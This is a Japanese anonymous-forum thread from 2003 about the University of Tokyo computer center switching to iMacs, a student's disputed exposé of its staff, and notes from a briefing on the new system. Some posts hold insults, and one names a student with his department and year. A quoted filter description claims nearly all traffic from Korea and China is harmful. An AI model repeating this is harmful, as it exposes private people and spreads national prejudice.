というか、「Macを学ぶ」ためにMacがあるわけじゃなし。
0874名称未設定
03/10/08 13:00ID:EAc38dPT0875名称未設定
03/10/08 13:09ID:+EGCq+/H定住あおり屋さんはヒキーだから、リスト見なくてもレスしながら見つめ直してると桃割れ。
生き甲斐はマカあおり→わしら香具師の救い→紙
0877名称未設定
03/10/08 13:43ID:FmA36tHr学校から帰ってきたら、キーボード叩く前に、まず手洗いとうがいを忘れない。
明日まで提出の課題は、お風呂の前までには終わらせておく。
平日のネットは夜11時まで。
最後の言い付けだけはちゃんと守ってるみたいだね、感心々々。
0878名称未設定
03/10/08 14:18ID:FCGs4Mh+0879名称未設定
03/10/08 14:38ID:EiBRI8v20881名称未設定
03/10/08 16:45ID:PkzkJoFp0882名称未設定
03/10/08 17:24ID:BXOXO45o0883名称未設定
03/10/08 17:39ID:8A6/BPmj中継ぎ起用とか猛勉強してはよ帰ってきいやー。東大卒の元ブサヨに負けなやー。
0884名称未設定
03/10/08 17:47ID:z73Gh18R実際のところ、選択肢他にないから、文句いわれないよ。
0886名称未設定
03/10/08 18:18ID:kCj2wjz80887名称未設定
03/10/08 18:43ID:+vLo4PZl冗談抜きでIE使わないだけでもOS自体もかなり安定するんだよなw
0888名称未設定
03/10/08 19:02ID:YhbWKVoV見えなきゃこまりますよ。
ま、WINの圧勝だがな
0889名称未設定
03/10/08 19:15ID:z73Gh18R0891名称未設定
03/10/08 19:25ID:FgJZ2PX2AppleのノートシェアUP!!!
東大生が買ってくれるのでこれからもUP♪
0892名称未設定
03/10/08 20:08ID:JYn7p40wお願い出してー。PC-UNIXでもいいといえばいいんだけどさあ・・・。
0893名称未設定
03/10/08 20:11ID:NuXfgMKs0894名称未設定
03/10/08 20:31ID:mHR+tDBbあー、乗り遅れた。
0895名称未設定
03/10/08 20:39ID:IkwsI/qa兄弟生ﾊｹｰﾝ
0897名称未設定
03/10/08 20:43ID:z73Gh18R0898名称未設定
03/10/08 20:44ID:/QSBAPkIだれかいかなかったのかなぁ…。
おれ明日の本郷のやついこうとおもってんだが、学生は無理なんだろうか…。
0899名称未設定
03/10/08 20:54ID:JYn7p40w行っても面白くない可能性は高いけど。（一般人向けの説明に終始するだろうし）
0901名称未設定
03/10/08 21:54ID:0JfckFfA東京大学教育用計算機センターの真実
>結論
>つまり，一言でいえば，こういうこと：
>A 氏がアンチ MS をぶちあげて目立ちたかった。
>税金で学生用のシステムを導入する責任者がこのような行動を取ることは，非常に嘆かわしいと思うのです。
0902名称未設定
03/10/08 21:56ID:kCj2wjz80903名称未設定
03/10/08 22:17ID:qhZCra2v公開中止してるけど、なんかまともな情報リテラシを感じない言い訳だね。
いかにも自分の世界に籠ってるヲタって感じ。こういうのってある意味
2ちゃんねらより性質悪い。
0905名称未設定
03/10/08 22:39ID:JYn7p40wたくき氏もそうだったけど、明確な悪意を持って結論を先につける。
補強材料は妄想。┐(ﾟ～ﾟ)┌。
たくき氏のほうは潔く撤回、謝罪をしたけど こいつは・・・。
＞ecc 関係者が過剰に反応しすぎているとしか思えません
って何。病気としか思えんな。
0906名称未設定
03/10/08 22:41ID:ti3rTg/D0909名称未設定
03/10/08 22:53ID:7lRTKPfG文章の内容はともかく、恐ろしく文章が
稚拙だよね。
2chの「でつね」言葉をリアルでも使ってそうな
文体だが、マジで京大生なの？
0911名称未設定
03/10/08 22:58ID:11cqh6Ag是が非でもWindowsを使い続けたら
おもしろいな。
0912名称未設定
03/10/08 22:59ID:ti3rTg/D0913名称未設定
03/10/08 22:59ID:FgJZ2PX2MSの欠陥OSよりお安いですよ。
0914名称未設定
03/10/08 23:01ID:3/GX8rWx0915名称未設定
03/10/08 23:05ID:CYTN2VqD0916名称未設定
03/10/08 23:09ID:Gice59mH0917名称未設定
03/10/08 23:39ID:N1SQSSOT最初から告発＋αネタで書いていたら、それなりに面白いストーリーだっただろうに・・。
文章も稚拙だが、認識の甘さや言い訳の幼稚っぷりが痛々しい。
これが東大の平均レベルだとは信じたくないものだな。
0919名称未設定
03/10/08 23:43ID:FrXPWaMj内部告発が相当悔しかったと見えるな…(ﾌﾟ
0922名称未設定
03/10/08 23:49ID:Gice59mHMac OSって本体を買うときOSがついてる訳だから
その後買うのはアップグレード版と考えて良い訳だよね
そうするとWindows xp homeとあまり値段が変わらない様な気がする
これが一万円切ると話は変わるのだが
0923名称未設定
03/10/08 23:57ID:FrXPWaMjA氏のパケット盗聴行為の疑いもでてきた訳だし
事実が明確になるのは東大生にとっては良いことだろう
その辺の調査から初めてA氏が変態なのかどうか見極めたいところだ
変態がMac導入に一役かったというならそれはそれで有りそうな話だよね
0925名称未設定
03/10/09 00:10ID:vLTJP56w次スレ起てる？？
0926名称未設定
03/10/09 00:11ID:gxAnfLNT返事しろ!!
0927名称未設定
03/10/09 00:14ID:K1s05jV4っつーか説明会の話とかも出てくるんじゃねーのか？
そのときにA氏の糾弾があったら面白いなー
0928名称未設定
03/10/09 00:17ID:twtKd6nv最近は一部の人の快進撃が過ぎるように思うのでまとめてみました。
独立してページを作ると角が立ちそうなので，日記の中で。
以下の内容は，私が得た情報と推測を元に書いているので，
全てが真実というわけではありません。そのへんあらかじめご了承ください。
用語の説明
教育用計算機センター
旧来，東京大学の一般学生向けシステムは「教育用計算機センター（ecc）」と
呼ばれるところが管理していました。1999年に改組されて 情報基盤センター（itc）
に統合され現在に至っていますが，組織的にはともかく，実質的に教育用計算機センター時代
のままです。Web サイト も 変化なし。ややこしいので，以後「ecc」と統一して呼称します。
ecc が管理しているのは一般の学生向け端末とサーバです。
東京大学は前期課程と後期課程に分けられており，
ecc 端末は主に前期課程の学生向けの授業に使われています。
後期課程以降の研究室などのネットワークとは直接関係ありませんが，
工学部で大人数で行われる授業などで ecc の端末を使ったものがあるようです。
0929名称未設定
03/10/09 00:18ID:twtKd6nv東京大学のネットワークは UT-Net と呼ばれていますが，これの根本を管理する組織です
（たぶん）。
もともとは UT-Net と SINET の接続ポイントを管理したりする組織だったようですが，
ecc が itc に吸収され A 氏が加わってから，不穏な挙動を示すようになりました。
A 氏
渦中の人物，A 氏です。教育用計算機センターから情報基盤センターに移籍。
事実上，教育用計算機の責任者です。
肩書きは助手らしいです。Apache 方面で有名な人。
相談員
ecc の端末のうち，学生へ一般開放されている教室に配置される人。
東京大学の学生から募集され，週1～数コマ勤務します。
昔はだいたいボランティアでしたが，最近は給料も出るらしい。
0930名称未設定
03/10/09 00:19ID:twtKd6nv0931名称未設定
03/10/09 00:27ID:1CdqPn18ECCSとUT-NETの仕事は明確に別れてるので、あり得ない話だ。
0932名称未設定
03/10/09 00:49ID:Aq+kiXO/何かどんどん奇妙なネタ出てくるよねえ。
よっぽど時代遅れと思われてるのか？
Appleも誤解を解く努力をすべきだろうなあ。
0933名称未設定
03/10/09 00:56ID:R1Cb+Ucs地震でも起きるのかな
0934名称未設定
03/10/09 00:57ID:4a8PT/IO0935名称未設定
03/10/09 00:57ID:sDUF4s0zOSXに移行してからジョブズは猿のように「Unix! Unix!」と叫び続けてるぞ。
確かに一般向けのCMには出てこないが... アピールしたほうがいいのかな？
0936名称未設定
03/10/09 01:01ID:HViBZd9D間を取っただけだから)、A氏が本人の趣味で変な運用をやって
いた可能性は高いぞ。デブの鉄ヲタだもん。
0937名称未設定
03/10/09 01:03ID:1CdqPn18鉄ヲタは違う先生だろ
0938960
03/10/09 01:15ID:mavdecUTMacはOracleも使えるyo!
0939名称未設定
03/10/09 01:16ID:HViBZd9D0940名称未設定
03/10/09 01:23ID:aHvBLcPy0941名称未設定
03/10/09 01:29ID:3C6MaSl70942インサイダー ◆YOAhuXDUD6
03/10/09 01:32ID:wzc9iwLf無意味だと思うけど一通り書いとく。
今のNCが入ったときのOSを彼はFreeBSDと書いてるけど、正しくはNetBSD。
というか、今の機材になったと同時に彼はECCから離れて学科のコンピュータをいじる
ようになったから、実機に触ったことはあまりないと思われ。
「常識的に考えれば，わざわざ端末でのプログラム実行を許す方が危険」というのは
ディスクつきの端末の場合か、あるいはnetboot用の鯖のrootが取れた場合の話。
端末はディスクレスで、リセットすれば全部消えるんだから（原田社長はHDが入った
ままで納品すると言ってるけど、これは本番までにどうなるかわからない）、むしろ
鯖に手出しさせない方が安全。
現システムがHHK ProなのはECCの要求じゃなくて、現端末を落札した富士通の提案。
HHKの提案者・和田教授の弟子（渦中のA氏ではない）がECCにいて、一方で和田教授は
定年後に富士通研究所に再就職してるから、そのへんを営業が配慮したと思われ。
それでも他社より安かったんだよ。（今回の出来レース疑惑の真偽はわからないけど、
あのときは間違いなく、富士通の他にSunと高岳が応札しての競争入札。）
ただし、「英語配列で、５年間は故障に対応」という条件はつけたはず。
今回は日本語配列で統一することになったけど。
（つづく）
0943インサイダー ◆YOAhuXDUD6
03/10/09 01:32ID:wzc9iwLfAlt+` という「謎のキー」でIMEのon/offをするのは英語キーボードで日本語Windowsを
使う場合の共通の悩み。
98年頃に学生用のweb鯖(www.komaba.ecc.u-tokyo.ac.jp,www.hongo.ecc.u-tokyo.ac.jp)が激重だったのは事実。が、これを解消すべく実験的に別の鯖(web.ecc.u-tokyo.ac.jp)
が運営されていて、99年の現システム導入とともにその構成を踏襲して本運用になった
ことには触れられていない。
A氏をはじめとしたECC関係者がマシンを何台も持ってるというけど、これはそれぞれの
教官の研究費から出ていて、学生福利の目的に流用できる金ではない。（これは縦割り
紐付き補助金の弊害だといえばその通りだが。）しかしそもそも、その当時の研究室用の
マシンスペックではとても3万人の学生の共用目的には使えなかったはず。
0944名称未設定
03/10/09 01:40ID:AzrS8PtSしょうがないと思うのですが。2chに匿名で書き飛ばすならともかく
実名で日記に書いておいて、よく開き直っちゃったりするもんだなぁ。
0945インサイダー ◆YOAhuXDUD6
03/10/09 01:46ID:wzc9iwLfというか、「全てが真実というわけではありません。」というけど、
半分以上が間違いなんだが(w
0946インサイダー ◆YOAhuXDUD6
03/10/09 01:53ID:wzc9iwLf「A 氏やその他の教官が HHK フェチ」
A氏がそうだという話は聞いたことがない。和田教授の弟子の人は愛用してたけど。
「取り巻きの相談員（以後，sodan）に HHK キチガイがいた」
つんなやつきいたことがない。
冷房の件は、事務室も端末室同様に冷房を止めてたけど、人が少なかったから
端末室よりは涼しかったというのが真相らしい。で、それを無視して日記に
書いてたから文句言われた、と。
「半島級」ノーコメント。
0947名称未設定
03/10/09 02:03ID:AzrS8PtS雄弁なノーコメントですね…。
0948名称未設定
03/10/09 02:13ID:YbiDORsL大学のシステムなんて結局は数人の教員で決めるわけだから趣味が出るのは当然。
0949インサイダー ◆YOAhuXDUD6
03/10/09 02:24ID:wzc9iwLf省スペースなのはその通り。で、くだんの彼は、単に省スペースのためだけなら
安物キーボードでもよかろう、と言ってるわけね。
で、実際のところは、富士通がHHKを納品すると聞いたときの反応は、
HHK愛用者の某教官も含めて全員が「そんなんで採算取れるのか？」
だったらしい。カーソルキーがないことも当然最初から危惧されてた。
0950名称未設定
03/10/09 02:26ID:4a8PT/IOこの際キートップの刻印もないモデルにするのも面白そう。
0951名称未設定
03/10/09 02:59ID:mezbKfjm一番安かったモノを選んだということのようです。
本当にアップル本社の上の方、Jobsにまで話がいって値下げのGOサインが出たとか。
VIDを使ってWindowsをnetbootというのも上がっていたんだけど、MSはがんとして値下げしなかったんだって。
又聞きなので話半分で御願いしますw
0952名称未設定
03/10/09 03:11ID:wyxDXm6zなんだ結局ディスカウント合戦だったわけね。
富士通がかんだら面白かったのにねえ。
赤字出してMac入れてもアポーにはメリットないな。
他の大学もディスカウント要求をするだろな。
0953名称未設定
03/10/09 03:13ID:mezbKfjmとりあえずまだまだ実績作りの段階だし、ここでの投資は意味があると思うよ。
ノウハウも手にはいるしね。
0954名称未設定
03/10/09 03:14ID:JMH1bPPj少なくとも新システムで使われるHHKはカーソルキーありのタイプだね。
ttp://www.ecc.u-tokyo.ac.jp/announce/2003/09/24_nextsystem.html
けど、あの「内部告発」(?)ではその点には触れられず、以前のHHKの
単独カーソルキーが無い事だけを叩いてるな。
Alt+"`"でのIMEオンオフなんか、Macメインな俺でも一回説明書読みゃ
不自由しなかったけどなぁ。あ、DeleteキーとBack Spaceは
ディップスイッチ設定で交換したけども。(当方、HHK Lite2 US配列)
0955名称未設定
03/10/09 03:24ID:/fZFhqOW明日説明会いくついでに学校のマシンいじろうと思ったら2002年度のパスワードしか
でてこねぇ…。
あれってたしか健康診断のあとにパスもらえるよね？おれ今年健康診断いったっけ…。
0956アホー
03/10/09 03:29ID:uxk+KaSSファッキンテッシュウにはこういうの出来ないよな
クラリオン、０５年めどにカーナビＯＳを国産ＯＳからウィンドウズに一本化【他社も採用に踏み切る？】
http://news5.2ch.net/test/read.cgi/newsplus/1065585508/
0957名称未設定
03/10/09 03:30ID:mezbKfjm使わないアカウントを放置しとくと、セキュリティ的に良くないからそのための措置でしょう。
俺は使わないからもらいにいかなかったよ。
0958名称未設定
03/10/09 03:43ID:otIKOhC+交通事故増えるなw
クラリオンはまずアホーが買って人柱きぼん
でMSはPC作る技術あるのか？
非公開ソースなんだし、完全ネイティブPCを得意のパクリで作れば良いのに。青画面ともおさらば。
0959名称未設定
03/10/09 03:59ID:IieaPkNg全裸と同列のアホだな・・・
組み込みOSの話はｱﾎﾟｰとは無関係だろ。
「ウィンドウズ」の単語があるだけで、脊髄反射で書き込むな。
紹介しているスレ、ネタと怒号ばっかりでﾏﾝｾｰしているﾔｼなんか殆どいないぞ。
0960名称未設定
03/10/09 04:01ID:wyxDXm6zいや、教育機関に赤字で売って、その分を他のMacに乗せるのは納得いかん。
総合メーカーならイザ知らず、専業メーカーがやることではないだろ。
富士通の１円入札とかわらん。
ノウハウというより、「アップルの名声・名誉」のためにやってるだけだろ。
むしろ、人柱として実験してるというのがただしい。
で、実験に失敗して返品と。
0962名称未設定
03/10/09 04:17ID:2ZNg4mZD無茶苦茶言っとる罠
マーケット広げるためには当たり前のことでしょ？常識があればわかる。
広げれば量販できる。量販できれば価格が押さえられて行く。
て言うか、何でシェアが小さいプラットフォームのことをそこまで心配してくれるのか
不思議だよここのドザーって。
0963インサイダー ◆YOAhuXDUD6
03/10/09 04:17ID:wzc9iwLf東大に今入ってるHHKは、混乱防止のためにディップスイッチ
（って言っていいのか？）を殺してDeleteをBackSpaceにはできなくした特注品。
1000台以上の大量発注だからこそ出来た技だな。
>>958
Windowsって言ってもCE系でしょ。怪物と化した2000/XP系よりは安定しているはず。
そりゃ、2000/XPとソースコンパチで、それが開発上の大きなメリットなわけだが…
0964名称未設定
03/10/09 04:27ID:pUKwg40f>いや、教育機関に赤字で売って、その分を他のMacに乗せるのは納得いかん。
>総合メーカーならイザ知らず、専業メーカーがやることではないだろ。
>富士通の１円入札とかわらん。
赤字で売ってるかどうかわからんね。
0965名称未設定
03/10/09 04:36ID:AzrS8PtS言ってたので（＝利益があるのはソリューションベンダのNEC
だよ、という意味）、まあ少なくとも持ち出しではないのでは。
0966名称未設定
03/10/09 04:39ID:pUKwg40f0968名称未設定
03/10/09 06:49ID:D+h8y3Xy0970名称未設定
03/10/09 07:26ID:2U0Dzvrt0971名称未設定
03/10/09 08:34ID:K1s05jV4インサイダーとかいう名前で匿名掲示板に出てくる以上
胡散臭さは変わんないんだろ？
冷房の件は微妙に言葉いじくりまわしてるけど
他所より冷えてたんだから「冷房かかってた」というのは真相なんだろう？
まぁ数時間でも止めれば止めてたことにはなるけどさ、詭弁じゃんか
それと半分以上が嘘なら真のほうも書いてくれなきゃ公平じゃないな
まぁ真にインサイダーであるなら不利なことは言えないだろうから
こいつの口上も100%正しいとは言えない
前回の入札はやけに詳しいのに今回の入札に突っ込まないのはどういうこと？
0972名称未設定
03/10/09 08:44ID:1CdqPn18情報公開求めて来ればいいよ。
0973名称未設定
03/10/09 08:48ID:aHvBLcPy／ / / /( ∧ ） ﾍ ﾍ
く ／/ （ /| | V )ﾉ（ ( （ ﾍ＼ お て
┘／＾| ＼ （ | |ﾍ| ﾚ ＿ﾍ|ﾍ ) ＿ﾍ し め
/| .| | ）） )/⌒""～⌒"" iii＼ え ｜
.| α ＿ ﾍ ﾚﾚ "⌒""ﾍ～⌒" ||||＞ て
＿∠＿ ｲ | | /⌒ｿi |/⌒ﾍ ＜ や に
＿ (＿ ) ﾍ | ∥ （） || || （） || ＿＼ ん は
／ ( ) ﾍ |i,ﾍゝ=彳 入ゝ=彳,i|＼ ね
／ー （ ／ """/ ー"""" ＞ ｜
＿） ｜ ﾍ（||ii ii|||iiii＿/iii)ノヘ|||iiiii＜ |||||
｜ ( ﾍ|||||iiii∠;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ﾌ ""'
///// ﾍ＿／ ) ﾍ|||""ﾍ===二二二===７ﾌ / ﾑ／∧ ∧ ∧
///// ( | ii | |ＬＬ|＿|＿ＬＬＬ// | ）（ ∨| ∨)
・・・・・ ) )| || | |||||||||||||||||||||||| | | （ ﾍ | ﾍ ) (
＿＿＿ | | /| .| |||/⌒／⌒ヘ | | | iiiiﾍ ( | （ | /
／ / (|.| | | | | | iii ) | ﾍ ）( )
（ ( /..| | |＿＿＿＿_/ | | iii ( ）（ // /
＼ ) ）..| |ﾍＬ|＿|＿Ｌ/ / / ,,,,--（/Vﾍ）(／
/ ( .|ﾍ ＼＿ﾍ |＿/ / ／
0974名称未設定
03/10/09 08:49ID:g4eXmMUHいろいろ聞けて楽しいねぇ
0975名称未設定
03/10/09 08:56ID:AzrS8PtS自分が数年前に事務室に入ったときの冷房の効きがどうこうっていう話で
粘着煽りする人間がいるってのは、傍観者としても目からウロコですた。
あのサイト運営者にはもっとがんがっていただきたい気も。おもろいから。
あと、自分のPCのハードウェア構成を細かくプロフィールに書き連ねる
人って今でもいるんだなぁ、というのもちょっと感心したり…。
0976名称未設定
03/10/09 09:27ID:4a8PT/IOやつを時々みかけます。おおむねそういう連中は、なぜそういう運営になっているか
というバックグラウンドを理解せず、自分の勝手な思いこみでつっぱしっていること
が多いですね。うちにも今回話題になっているような学生みたいなのがいましたが、
ちょっと説明してやったらあっさり引っ込みました。
0977インサイダー ◆YOAhuXDUD6
03/10/09 10:02ID:wzc9iwLf今回のことについて書けない理由は簡単。
「インサイダー」を名乗ってはいるけど、正確にいうと「元インサイダー」で、
今回の件については生の情報があんまり入ってこないから。
>>976
とんでもないDQNもいるよ。初歩的なルール違反（飲食禁止とか）を堂々とやって、
それで職員が注意したら開き直るやつ。これは俺の入学前の話だったかな。
0979名称未設定
03/10/09 11:26ID:5QVZR+4N教務課のやつか？？
死ねよ
0980げてもの
03/10/09 12:03ID:sFdeIQBy企業でもいますよ。大きいところの経験の無い人。
自宅とかせいぜい2～30台の運用経験しかない人が文句つけたりは日常茶飯事
ですねぇ、、、。
0981名称未設定
03/10/09 12:24ID:mLQ/vY1C少なくとも價格決定権は、取り上げられた訳で。
0982名称未設定
03/10/09 12:42ID:K1s05jV40985名称未設定
03/10/09 17:20ID:/fZFhqOW詳細はここ↓
http://media.itc.u-tokyo.ac.jp/seminar/riyou-annai/20031008-9/
次のテンプレにでも貼っておいてください。今日話してたのは山口さんで、あと関谷さんとかも
いらっしゃったが、安東さんは見かけず。
一応話題をいくつかピックアップしておきます（読めば分かるのもあるし、質問で答えて
くれたやつも含みます）
・OfficeなどのアプリはMac OS Xネイティブで。ヴァージョンは最新のもの（今後最新の
ものがでるたびにupgradeできるライセンスのやつの模様）
・HDDはついてはいるが、使わない。swapとして用いたりするのかの問いには、
「一切使いません」
・メーラーはOS XのMail、WWWブラウザはSafariとOpera（！）。IEはまだどうするか
わからないが、あまり使いたくないなぁとのこと。まだ決定ではないようで、Mozillaを
入れてくれとの質問（というか要望）に、「じゃぁいれましょうか」みたいな雰囲気に
なってた。
・IMEはことえり。
・コンボドライブの使用に特に制限はない模様（もちろん違法コピーはだめ）。ライティングソフト
はOS X標準のもの
・各人のDesktop環境は保全される。
・Developer Toolsは入っている。
・ヘッドフォンを着用することで音声がきける。ヘッドフォンは学生が各自用意してくれ。
・一人当たりのディスク容量は、おそらく500MBほどになるだろう（現行は学生100MB、教官400MB）
・iChat AVが利用可能になるかもしれない
（システム外にNATで接続可能になることによって各種chatソフトが使用できるかもしれないという
記述有り）
0986名称未設定
03/10/09 17:26ID:FSe1P+n8乙です！
0987985
03/10/09 17:27ID:/fZFhqOW・iTunesの使用は微妙。授業中にみんな音楽ききだしたりしたら困るなぁというのがちょっとあるみたい。
・iMacの端末で、CAD以外の全てのことはできる模様
・Windowsサーバは2003 server
・マウスは3ボタン光学式。（ホイールつき）
・.Macをすでに用いている人がiDiskの使用は可能かという問いに、「そういうのも考えておきます」
・Windows環境では、再起動を要しないソフトウェアを各自インストールして用いることが可能。
（再起動すると消えるとかなんとか）
こんな感じです。今日はだいたい20人ぐらいだったかな。使用するソフトの詳細に関してはまだ
検討中って感じで、要望もうけますといった具合だった。
0988名称未設定
03/10/09 17:31ID:hCk0ZDNB辻河亨 総合文化研究科 広域システム系 修士2年
0989名称未設定
03/10/09 17:41ID:qLAx+sF3な、なんだってー！？
0990名称未設定
03/10/09 17:42ID:AzrS8PtS>krfilter 韓国・中国等からの接続をパケットレベルでフィルタする
>日本の IP 領域にアクセスしてくるワームは，おおかた上記の国と地域からの
>ものです。特に韓国からがひどいといえます。 また，韓国には，悪名高い
>NaverRobot ように DoS まがいのアクセスを仕掛けてくる自称サーチエンジンも
>存在します。 韓国や中国から送られてくるメールも普通は SPAM 以外にあり得
>ませんし。冷静に考えてみれば上記の国と地域から まともなアクセスが来ること
>なんて（滅多に）ないのです。 有害なアクセスしかしてこない国と地域をパケット
>レベルで排除してしまおうというのが本稿の趣旨です。
小林よしのりとか大好きなんだろうなぁ
0991名称未設定
03/10/09 17:44ID:PSEvtzTB（というか行くと絶対ここに書き込むためとバレるｗ）
＞Windows環境では、再起動を要しないソフトウェアを各自インストールして用いることが可能。
（再起動すると消えるとかなんとか）
これ、たぶんHKEY_CURRENT_USERを保存しないでクリアするってことかな。
現在のシステムよりWindowsサーバの制限もずいぶんゆるいみたいね。
誰かny動かしたりして怒られたりするんだろうか（ｗ
0992名称未設定
03/10/09 17:54ID:NMLVZQ1uファイル交換ソフトウェアによる著作権侵害、プライバシーの侵害、
ウェブやメールによる誹謗/中傷/脅しなどが増えている。
とホームページにあるけど、上流でポートを閉じるとかできないの？
というか、ウィルスを防ぐためにも、、不必要なポートはどんどん閉じる
方針をたてる方がいいんじゃないのかな
0993名称未設定
03/10/09 19:06ID:FJoP7sudWindowsマシンには環境復元ツールみたいなのが入るんじゃないだろか？
# 例えば「コムガード」で検索。
リモートデスクトップはわからないけど。
0994名称未設定
03/10/09 19:14ID:yqpTjkYQ0995名称未設定
03/10/09 19:21ID:vd6rhFKFhttp://pc.2ch.net/test/read.cgi/mac/1065694835/
0996名称未設定
03/10/09 19:25ID:jn0ZRQ3y0997名称未設定
03/10/09 19:38ID:vd6rhFKF0998名称未設定
03/10/09 19:58ID:yqpTjkYQ0999名称未設定
03/10/09 20:13ID:5BDqtvcR1000名称未設定
03/10/09 20:14ID:5BDqtvcR1001１００１
Over 1000Threadもう書けないので、新しいスレッドを立ててくださいです。。。
レス数が1000を超えています。これ以上書き込みはできません。